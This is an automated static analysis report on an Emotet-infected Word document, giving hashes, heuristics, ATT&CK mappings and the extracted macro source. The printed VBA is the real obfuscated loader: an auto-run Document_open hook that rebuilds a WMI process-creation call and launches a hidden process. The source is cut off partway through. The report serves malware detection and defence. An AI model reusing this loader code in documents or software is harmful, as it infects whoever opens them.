Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 42eaa4648e10a90d…

MALICIOUS

Office (OLE)

229.6 KB Created: 2020-08-13 13:32:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: de476fe4003559f9bb75f88d59eac94c SHA-1: 2973dd7619ef44b0f2ed5d14614a0dd2350a7415 SHA-256: 42eaa4648e10a90dbd8f1548a0bb66005643512187069f22f26e02aa84028e02
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with a Document_Open auto-execution routine, indicative of malicious intent. Critical heuristics identify a hidden UserForm command stager and a CreateObject call, commonly used to download and execute further payloads. ClamAV detection explicitly names this as Emotet, a known malware family.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9314211-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9314211-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4330 bytes
SHA-256: 73fa781508130ecec37da3fc0d8b91ad775cd97069f1d267d6271de7073e2793
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NXUZJvufjbjqs"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
UTGOByykyeeselrdfr.BBMWCowbrxyft
End Sub


Attribute VB_Name = "UTGOByykyeeselrdfr"
Attribute VB_Base = "0{386F3274-1796-4BC5-887B-0F95DD854D7A}{85B187C8-6EBD-45A1-B2A9-78F5DAEAF096}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function BBMWCowbrxyft()
WWCBCesoxjlmekhg = UTGOByykyeeselrdfr.Zoom
Dim EWtaT3ÄEfeU As Integer
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
HYRBXvgtfgiar = ChrW(WWCBCesoxjlmekhg + (100 + 35) / 9)
Dim WHEWC0ÅGtsV As String
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
WZFUAobhhomj = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + HYRBXvgtfgiar + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + UTGOByykyeeselrdfr.UAFJUdoebvbajxibxp + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
Dim Xw3Î8ÍKy1Ñw As Byte
DNTBLvpjicnc = CFKNXxaehyzqybw(WZFUAobhhomj)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set NHDTDewrjgqybexdvsu = CreateObject(DNTBLvpjicnc)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
SVCPHherxqmrszrbv = UTGOByykyeeselrdfr.HPEAXwskvbimo.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
NFQPVpfrtuvgjdgwla = WURQNitmxztbp + (DNTBLvpjicnc + HYRBXvgtfgiar + UTGOByykyeeselrdfr.LIYKCxntofbomxohizt.ControlTipText + SVCPHherxqmrszrbv)
Dim gs2ËgnTcKiQ As String
OHBVNtjgwtrxwpatn = NFQPVpfrtuvgjdgwla + UTGOByykyeeselrdfr.UAFJUdoebvbajxibxp
Dim N0ÚPb8Ì As Double
Set IFCOVsbvmxtksvri = DNIJUnbsroxeaaeaec(OHBVNtjgwtrxwpatn)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
YLKWOxomyclpbe = Array(INNZIqmtisqkpv + "DMRWYzofpxpkvoexhp PMGCHsmrbdynz DZYYEfjthxbsgqedv", NHDTDewrjgqybexdvsu. _
Create(IYVGSofaqnodbxavbfn, VLGIXkjdmhnbrk, IFCOVsbvmxtksvri), TSPGZdjuweiaomwn + "IPROKubooatbgggqcmx XVFMRkdojurpuotb")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function DNIJUnbsroxeaaeaec(GVSENwkdfxbcejftim)
Set DNIJUnbsroxeaaeaec = CreateObject(GVSENwkdfxbcejftim)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
DNIJUnbsroxeaaeaec. _
showwindow = BJXNRkcpspybklzyx + MKFXAqneujeh
Dim a4Õg As Object
End Function
Function CFKNXxaehyzqybw(VWCTDgmgzanxykwxmp)
DVHIGduoepvygycay = VWCTDgmgzanxykwxmp
Dim nGcyUDpZ As Byte
LJVMKkvupltvvhwnqup = Split _
(DVHIGduoepvygycay, "832[sahj hui12t7gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
HWLLByglnjhmb = MFXBDacfldwyufmzi + Join(LJVMKkvupltvvhwnqup, RWNGRnejgamqtllyl)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
CFKNXxaehyzqybw = HWLLByglnjhmb
Dim kFPSyh As Object
End Function
Function IYVGSofaqnodbxavbfn()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
GTPAYvpwtynre = UTGOByykyeeselrdfr.VBCFCsuvarbocnc.Pages(vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$
... (truncated)

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